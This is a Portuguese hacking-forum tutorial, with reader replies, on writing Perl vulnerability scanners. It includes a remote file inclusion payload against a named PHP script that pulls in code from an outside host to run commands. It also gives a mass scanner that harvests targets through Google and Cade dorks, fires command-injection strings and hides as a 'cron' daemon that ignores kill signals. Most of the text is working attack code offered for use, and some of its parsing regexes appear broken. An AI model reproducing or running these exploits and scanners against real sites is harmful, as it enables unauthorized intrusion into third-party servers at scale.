Tutorial feito pelo Poerschke
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
-
- Tutoria ensinando a criar scanners de vulnerabilidades em perl
- utilizando IO::Socket::INET, Socket, LWP::Simple
-
-
- escrito por Poerschke
- contato: irc.gigachat.net #spykids
-
-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
para se criar um scanner de vuls primeiro é preciso conhecer a vul
saber como explora-la e como detecta-la
vamos começar com uma vul simples de php injection
digamos que esse arquivo /include/livre_include.php?no_connect=lol&chem_absolu=
esteja vulneravel
1) ja conhecemos a vul
para explorar a url deve ficar assim:
/include/livre_include.php?no_connect=lol&chem_absolu=http://www.site.com/cmg.gif?&cmd=ls%20
2) ja sabemos como explora-la
note que ao final colocamos o ls%20/, ele serve para nos ajudar a detectar se o site esta vul
no caso se estiver nele irá aparecer o seguinte texto entre o codigo html gerado pelo script
php:
COPYRIGHT
backup
bin
boot
cdrom
compat
dev
dist
etc
home
kernel
kernel.GENERIC
kernel.old
mnt
modules
modules.old
mysql
proc
quota.group
quota.user
root
sbin
stand
sys
tmp
usr
var
virtual
Note que em todos os servers vulneraveis sempre vai haver o diretorio "root", "boot" e "etc",
sabendo isso ja temos a nossa informação necessária para detectar a vul, que é nos dada pelo
comando ls /.
vamos a criação de nosso scanner utilizando a linguagem PERL
-=-=-=-=-=-=-=-=[ INICIO DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use LWP::Simple; # nosso socket simples
print "Scanner xxxxx versao x.x by xxxxx\n";
if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com (http://www.site.com)\n";
exit;
}
$site = $ARGV[0];
if($site !~/http/) { $site = 'http://' . $site; }
print "Scaneando $site ... aguarde\n";
# aqui começamos a usar nosso socket
# com a funcao get() que podemos usar
# da biblioteca LWP::Simple
# para dar certo a url precisa estar com
# o http:// ou nao vai funcionar
# veja como ficará o source daqui pra frente
$url = "/include/livre_include.php?no_connect=lol&chem_absolu=http://www.site.com/cmg.gif?&cmd=ls%20";
$site = $site . $url; # junta $site com $url ex: www.site.com/include/livre_include... (http://www.site.com/include/livre_include...).
# poderiamos usar $site .=$url; que teria o mesmo efeito
$resultado = get($site) or exit; # aqui mandamos ele pegar o conteudo de nossa url completa
# dentro da variavel $resultado esta o resultado de nossa pesquisa, agora vamos detectar se
# o site que testamos esta vulneravel ou nao
# se a variavel $resultado conter as strings root, boot e etc, sera dado como vulneravel
if(($resultado =~/root/) and ($resultado =~/boot/) and ($resultado =~/etc/))
{
print "vul: $site\n";
open(a,">>resultados.txt");
print a "$site\n";
close(a);
}
else{
print "o site testado na esta vul\n";
}
-=-=-=-=-=-=-=-=[ FIM DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
agora vamos criar um scanner para sabermos a versao do ftp rodando em um servidor
vamos usar IO::Socket e Socket
1) sabemos a porta do ftp, por padrao é a 21 mas nada impede de ser mudada
-=-=-=-=-=-=-=-=[ INICIO DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use Socket;
use IO::Socket::INET;
print "Scanner xxxxx versao x.x by xxxxx\n";
if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com (http://www.site.com)\n";
exit;
}
$site = $ARGV[0];
# primeiro vou mostrar como pegar o ip de um site www.site.com (http://www.site.com)
$ip = inet_ntoa(inet_aton($site));
# inet_ntoa() e inet_aton() podemos usar pq declaramos a biblioteca Socket
# essas duas funcoes usadas em conjunto retornam o ip do nosso site
# vamos agora nos conectarmos ao ip usando a biblioteca IO::Socket::INET
$sock = IO::Socket::INET->new( #cria nosso socket
PeerAddr => $ip, # endereço que vamos nos conectarmos
PeerPort => 21, # porta do ftp
Proto => "tcp", # protocolo que estamos usando
Timeout => 5 # tempo limite para conectarmos ao ip e porta do servidor ftp
) or die "nao foi possivel conectar ao $ip\n"; # se nao conectar exibe a mensagem de erro e sai do scanner
print $sock "\n"; # sempre que quizer enviar alguma requisicao para o server vc deve colocar print $soca "string";
$resultado = <$sock>; # passa o conteudo de $sock para a variavel $resultado
close($sock); # fecha nosso socket, por isso devemos passar o resultado antes de dr close nele
print "$site esta usando $resultado\n";
-=-=-=-=-=-=-=-=[ FIM DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-
Scan de strings feito pelo Mr_w4r
#!/usr/bin/perl
# Develop by Mr_w4r
# greetx to focused,victorockeiro
# irc.efnet.net @ #rootcorp
# Nao me responsabilizo pelo mal uso deste Arquivo
# Voce e livre para alteracoes, porem nao tire os creditos
# do autor .
#
use IO::Socket;
my %CONFIG;
$CONFIG{'rand'} = int( rand( 50 ) ) . int( rand( 50 ) );
#-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# Configurantion Area #
#-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=-=-=-=#
$CONFIG{'google'} = 'www.google.com.br';
$CONFIG{'cade'} = 'cade.search.yahoo.com';
$CONFIG{'outfile'} = 'resultado'.$CONFIG{'rand'}.'.html';
$CONFIG{'proc'} = 'cron';
$CONFIG{'pidf'} = 'pid.w4rscan';
#-=-=-=-=-=-=#
# EnD #
#-=-=-=-=-=-=#
my %option = getopts ( GOOGLES => 'g,:',
CADES => 'c,:',
STRING => 's,:',
OUTFILE => 'o,:',
RETURN => 'r,:',
INDEX => 'i',
PROC => 'p,:',
FILE => 'f,:',
DAEMON => 'd|D',
HELP => 'h|help'
);
principal();
#/------------------------------------\
# Cria nosso Processo filho #
#\------------------------------------/
sub forka{
$SIG{'INT'} = "IGNORE";
$SIG{'HUP'} = "IGNORE";
$SIG{'TERM'} = "IGNORE";
$SIG{'CHLD'} = "IGNORE";
$SIG{'PS'} = "IGNORE";
$0 = $option{'PROC'}."\0";
my $PID = fork if ( defined( $option{'DAEMON'} ) );
exit if $PID;
print " Pid: $$\n";
print " Nome do Processo: $option{'PROC'}\n";
save2file( $CONFIG{'pidf'}, "pid: $$") if ( defined( $CONFIG{'pidf'} ) );
}
#/----------------------------\
# Funcao principal do programa #
#\----------------------------/
sub principal{
my $pagenumber = shift;
banner();
optcheck();
forka() if ( defined( $option{'DAEMON'} ) );
if ( defined( $option{'GOOGLES'} ) and defined( $CONFIG{'google'} )) {
print " Pegando link's do google...\n" if ( !defined( $option{'DAEMON'} ) );
print " Procurando : $option{'GOOGLES'}\n" if ( !defined( $option{'DAEMON'} ) );
for ( $pagenumber = 0; $pagenumber < 990; $pagenumber += 10 ){
google( "$pagenumber" );
}
print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
}
if ( defined( $option{'CADES'} ) and defined( $CONFIG{'cade'} ) ) {
print " Pegando link's do cade...\n" if ( !defined( $option{'DAEMON'} ) );
print " Procurando : $option{'CADES'}\n" if ( !defined( $option{'DAEMON'} ) );
for ( $pagenumber = 1; $pagenumber < 991; $pagenumber += 10 ) {
cade( "$pagenumber" );
}
print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
}
html_head( $option{'OUTFILE'} );
open2explore();
html_foot( $option{'OUTFILE'} );
}
#/---------------------------\
# Explora o link #
#\---------------------------/
sub explore{
my ( $link2explore ) = @_;
my ( $pagereturn, $index ) = shift;
substr( $link2explore, 0, 7) = "";
$index = index( $link2explore, '/' ) if ( defined( $option{'INDEX'} ) );
$index = rindex( $link2explore, '/' ) if ( !defined( $option{'INDEX'} ) );
$link2explore = substr( $link2explore, 0, $index) if ( $index != -1 );
$link2explore = "$link2explore" . "$option{'STRING'}";
print " Testando [ $link2explore ]"if ( !defined( $option{'DAEMON'} ) );
$pagereturn = http_conect( "$link2explore" );
if ( $pagereturn =~ /$option{'RETURN'}/ ) {
print " Vulneravel\n" if ( !defined( $option{'DAEMON'} ) );
html_body( $option{'OUTFILE'}, "$link2explore" );
}
elsif ( $pagereturn == 1 ){
print " OFF\n" if ( !defined( $option{'DAEMON'} ) );
}
else {
print " OK\n" if ( !defined( $option{'DAEMON'} ) );
}
}
#/---------------------------------------------\
# Abre o Arquivo com os Links para explora-los #
#\---------------------------------------------/
sub open2explore{
print " Abrindo arquivo com os links...\n" if ( !defined( $option{'DAEMON'} ) );
open( FILEL, $CONFIG{'linkf'} );
while (
) {
explore( "$_" );
}
close(FILEL);
}
#/---------------------\
# imprime meu Banner #
#\---------------------/
sub banner{
$VERSION = "VerS-0.1";
print " -==-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- \n";
print " | BE ? be : dontbe | \n";
print " | codado por Mr_w4r | \n";
print " | w4rScan $VERSION | \n";
print " | Google and Cade Scanner | \n";
print " | Let's rock ! | \n";
print " | #rootcorp at irc.efnet.net | \n";
print " -==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \n\n";
}
#/-----------------------------------\
# Checa se as opcoes estao corretas #
#\-----------------------------------/
sub optcheck{
if( !@ARGV or defined( $option{'HELP'} ) ) {
print " Usage: $0 -g -c -s -o -r \n\n";
print " ex: \n";
print " $0 -g inurl:newdesk.cgi -c inurl:newdesk.cgi -s \'\\complete\\path\\to\\newdesk.cgi?t=|uid|\' -r \"uid=\" -i\n";
print " $0 -c inurl:awstats -s \'\\news.cgi?t=|id|\' -r \"uid=\" \n";
print " [Options]\n\n";
print " -g String para se procurar no Google\n";
print " -c String para se procurar no Cade\n";
print " -s String para explorar o bug\n";
print " -o Arquivo para se salvar os resultados\n";
print " -r Oq deve se retonar para se comprovar bugado\n";
print " -i Define se sera usado o path do link ou nao\n";
print " -p Define nome do Processo\n";
print " -d Roda em background\n";
print " -f Especifica arquivo com links\n";
exit;
}
die " Voce precise especificar a string de exploracao do bug\n" if ( !defined( $option{'STRING'} ) );
die " Voce precisa especificar o arquivo com os resultados\n" if ( !defined( $CONFIG{'outfile'} ) and !defined( $option{'OUTFILE'} ) );
die " Voce precisa especificar o nome do processo\n" if ( !defined( $CONFIG{'proc'} ) and !defined( $option{'PROC'} ) );
die " Voce precisa especificar o retorno para se comprovar bugado\n" if ( !defined( $option{'RETURN'} ) );
die " Voce nao pode especificar a opcao -f com -c e/ou -g\n" if( ( defined( $option{'GOOGLES'} ) || defined( $option{'CADES'} ) ) and defined( $option{'FILE'} ) );
$CONFIG{'linkf'} = "links".$CONFIG{'rand'}.".w4rScan" unless( defined( $option{'FILE'} ) );
$CONFIG{'linkf'} = $option{'FILE'} if( defined( $option{'FILE'} ) );
$option{'OUTFILE'} = $CONFIG{'outfile'} if ( !defined( $option{'OUTFILE'} ) );
$option{'PROC'} = $CONFIG{'proc'} if ( !defined( $option{'PROC'} ) );
}
#/---------------------------------------------------\
# Responsavel por estabelecer a conexao http #
#\---------------------------------------------------/
sub http_conect{
my ($get) = @_;
my (@html, $length, $index, $host, $url, $socket) = shift;
$length = length($get);
$index = index($get, '/');
$host = substr($get, 0, $index);
$url = substr($get, $index, $length);
#****************************
# Meu Header #
#****************************
my $header = "GET $url HTTP/1.1\n";
$header .= "Keep-Alive: 300\n";
$header .= "Connection: Closed\n";
$header .= "Host: $host\n";
$header .= "User-Agent: w4rScan/0.1\r\n\r\n";
$socket = IO::Socket::INET->new( PeerAddr => "".$host."",
PeerPort => "http(80)",
Timeout => "7",
Proto => "tcp" ) or return(1) if ( !defined ( $socket ) );
print $socket "$header";
@html = <$socket>;
close($socket);
return "@html";
}
#--------------------------------------------\
# Funcao responsavel por Conectar ao google #
#--------------------------------------------/
sub google{
my ( $page ) = @_;
my $google_html = http_conect( "$CONFIG{'google'}/search?q=$option{'GOOGLES'}&start=$page" );
my ( $google_link ) = shift;
return(undef) if( $google_html == 1 );
while ( $google_html =~ s/.*?<\/a>// ) {
$google_link = $1;
$google_link =~ s///gi;
$google_link =~ s/<\/b>//gi;
$google_link =~ s/ //gi;
substr( $google_link, 0, index( $google_link, 'h' ) ) = "" if ( index( $google_link, '/' ) == 0 );
$google_link = substr( $google_link, 0, rindex( $google_link, '&' ) ) if ( $google_link =~ /&e=42/ );
if ( ( $google_link !~/translate/) && ( $google_link !~/cache/) && ( $google_link !~/google/ ) &&
( $google_link !~/216/) && ( $google_link =~/http/ )) {
save2file( $CONFIG{'linkf'}, "$google_link" );
}
}
}
#----------------------------------------\
# Funcao responsavel por conectar ao cade #
#----------------------------------------/
sub cade {
my ( $page ) = @_;
my $cade_html = http_conect("$CONFIG{'cade'}/search?p=$option{'CADES'}&ei=UTF-8&fl=0&all=1&pstart=1&b=$page");
my ( $cade_link ) = shift;
return(undef) if( $cade_html == 1 );
while ( $cade_html =~ s/(.*?)<\/em>// ) {
$cade_link = $1;
$cade_link =~ s/ //gi;
$cade_link =~ s///gi;
$cade_link =~ s/<\/b>//gi;
$cade_link =~ s///gi;
$cade_link =~ s/amp;//gi;
save2file( $CONFIG{'linkf'}, "http://$cade_link" ) if ( defined( $CONFIG{'linkf'} ) or die "Especifique \$CONFIG{\'linkf\'}\n" );
}
}
#---------------------------------\
# Funcao Salva em $file a $string #
#---------------------------------/
sub save2file {
my ( $file, $text ) = @_;
open( Save, ">>".$file );
print Save "$text\n";
close(Save);
}
#----------------------\
# Cria o Cabecalho HTML #
#----------------------/
sub html_head {
my ( $html_file ) = @_;
my $html_head = "W4rScan \n";
$html_head .= "VulnSites<\/h1>\n";
$html_head .= "\n";
save2file( $html_file, "$html_head" );
}
#------------------\
# Cria o corpo HTML #
#------------------/
sub html_body {
my ( $html_file , $html_link ) = @_;
my $html_body = "$html_link
\n";
$html_body .= "
[Vulneravel]<\/a><\/li>
\n";
save2file( $html_file, "$html_body" );
}
#---------------\
# Cria o pe HTML #
#---------------/
sub html_foot {
my ( $html_file ) = @_;
my $html_foot = "Resultado Gerado por w4rScan
\n";
$html_foot .= "Codado Por Mr_w4r, #rootcorp at irc.efnet.net\n";
$html_foot .= "<\/body>\n<\/html>\n";
save2file( "$html_file", "$html_foot" );
}
# __________________________________________________ ______
# / \
#/ Nao codei esta funcao os devidos creditos ao autor ;D \
#\----------------------------------------------------------/
# \ Funcao responsavel por avaliar as opcoes de @ARGV /
# \_________________________________________________ _____/
sub getopts {
# eheh a little explanation
# the key is the same used in the return
# the value gonna be the options to be taken from @ARGV
# separeted by |
# after the "," you can give these options:
#
# : - take next ARGV as value
# n - numeral value
# i - IPv4 address
# u - delete option if it got none argument (usefull for
# arguments which can be 0)
#
# by now ... just this one is fine if none options specified
# the return gonna be 1 or 0
#
# the key STD should has only the options made by one letter
# like the Getopts::Std, eg:
#
# my %opts = getopts(a => "a", b => "b", c => "c,:", d => "d");
# =
# my %opts = getopts(STD => "abc:d");
#
# @{$opts{UNKNOWN}} gonna have the unknown options given by the user
# @{$opts{MISS_VALUE}} gonna have the options which need some value
# and it has been not given
my %opts = @_;
my %ret;
if (defined($opts{STD})) {
my @opts = split('', $opts{STD});
for (my $c = 0; $c <= $#opts; $c++) {
my $arg = $opts[$c];
my $next_arg = $opts[$c+1];
next if ($arg eq ":");
$opts{$arg} = $arg;
$opts{$arg} .= ",:" if ($next_arg eq ":");
}
delete($opts{STD});
}
for (my $ca = 0; $ca <= $#ARGV; $ca++) {
my $arg = $ARGV[$ca];
my $rarg = $arg;
last if ($arg eq "--");
my $next_arg = $ARGV[$ca+1];
# if not an argument it is some value
my ($is_arg, $next_is_arg) = (0, 0);
$is_arg = 1 if ($arg =~ /^-{1,2}/);
$arg =~ s/^-{1,2}//;
$next_is_arg = 1 if ($next_arg =~ /^-{1,2}/);
$next_arg =~ s/^-{1,2}//;
next if ($is_arg == 0);
my $value;
if ($arg =~ /^(.+?)\=(.*)$/) {
$arg = $1;
$value = $2;
}
my $found = 0;
foreach my $opt (keys(%opts)) {
my $opt_value = $opts{$opt};
my $get_value = 0; # if get_value == 0 is a true/false (1/0) return
$get_value = 1 if ($opt_value =~ /\,(.*)$/);
my @types = split('', $1);
$opt_value =~ s/\,.*$//;
my @get_opts = split(/\|/, $opt_value);
if (grep { $_ eq $arg } @get_opts) {
#delete($opts{$opt}); nahh the last value is great for me
$found = 1;
if ($get_value == 0) {
$ret{$opt} = 1;
} else {
my $ret_value = ((defined($value)) ? $value : (defined($next_arg) ? $next_arg : undef));
if (defined($ret_value)) {
if (!@types or grep { $_ eq ":" } @types) {
$ret{$opt} = $ret_value;
} else {
my @wrong;
foreach my $type (@types) {
my $ok = 1;
$ok = 0 if (
($type eq "n" and $ret_value !~ /^\d+$/) or
($type eq "i" and $ret_value !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/));
# i thing thats only by now
push(@wrong, $type) if ($ok == 0);
}
if (@wrong) {
push(@{$ret{WRONG_VALUE}}, $rarg.','.join('', @wrong)); } else {
$ret{$opt} = $ret_value;
}
}
# if (defined($value)) {
# $ret{$opt} = $value;
# } elsif ($next_is_arg == 0 and defined($next_arg)) {
# $ret{$opt} = $next_arg;
} else {
push(@{$ret{MISS_VALUE}}, $rarg);
}
}
} else {
delete($ret{$opt}) if (not defined($ret{$opt}) and grep { $_ eq 'u' } @types);
}
}
push(@{$ret{UNKNOWN}}, $rarg) if ($found == 0);
}
return(%ret);
}
Eu postei aqui: http://www.darkers.com.br/smf/index.php ... 710.0.html (http://www.darkers.com.br/smf/index.php/topic,3710.0.html)
Mais em todo o caso eh :
http://www.kingsregion.org/english/Hualdo/ (http://www.kingsregion.org/english/Hualdo/)
muito bom o tuto....
eu estava estudando em perl...mas dei uma parada...
agora vou estudar de novo...
parabéns